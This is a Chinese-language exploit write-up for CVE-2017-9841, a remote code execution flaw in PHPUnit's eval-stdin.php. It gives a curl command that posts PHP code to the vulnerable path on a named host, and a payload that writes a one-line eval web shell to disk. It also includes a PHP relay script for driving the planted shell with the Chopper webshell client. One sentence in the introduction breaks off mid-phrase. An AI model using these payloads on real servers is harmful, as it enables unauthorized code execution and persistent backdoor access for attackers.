（CVE-2017-9841）PHPunit 远程代码执行漏洞
=========================================

一、漏洞简介
------------

TYPO3是瑞士TYPO3协会维护的一套免费开源的内容管理系统。PHPUnit是其中的一个基于PHP的测试框架。PHPUnit4.8.28之前的版本和5.6.3之前的5.x版本中的Util/PHP/eval-stdin.php文件存在安全漏洞。远程攻击者可通过发送以'

二、漏洞影响
------------

PHPUnit 4.8.19-4.8.27PHPUnit 5.0.10-5.6.2

三、复现过程
------------

    $ curl --data "<?php echo(pi());" http://www.0-sec.org:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

总体来说就是向**vendor/phpunit/src/Util/PHP/eval-stdin.php**发送POST请求执行php代码。![1.png](./resource/(CVE-2017-9841)PHPunit远程代码执行漏洞/media/rId24.png)![2.png](./resource/(CVE-2017-9841)PHPunit远程代码执行漏洞/media/rId25.png)也可以直接写入一句话\*\*\<?=file\_put\_contents(\"1.php\",
\'\<?=eval(\$\_REQUEST\[1\]);?\>\');\*\*![3.png](./resource/(CVE-2017-9841)PHPunit远程代码执行漏洞/media/rId26.png)![4.png](./resource/(CVE-2017-9841)PHPunit远程代码执行漏洞/media/rId27.png)

### poc

> 因为直接是RCE，如果当前目录可写，直接POST这样的body:

**菜刀中转脚本**

> 使用20160622版本的菜刀，可以直接连目标，可以执行命令，但是不可以上传修改文件。

    <?php
    $webshell="";
    $data = file_get_contents("php://input");
    $data=substr($data,1);
    $data=str_replace("%2F",'/',$data);
    $data=str_replace("%2B",'+',$data);
    $data=str_replace("%3D",'=',$data);
    $data= "<?php ". $data;
    echo $data;

    $opts = array (
    'http' => array (
    'method' => 'POST',
    'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
    "Content-Length: " . strlen($data) . "\r\n",
    'content' => $data)
    );

    $context = stream_context_create($opts);
    $html = @file_get_contents($webshell, false, $context);
    echo $html;
    ?>
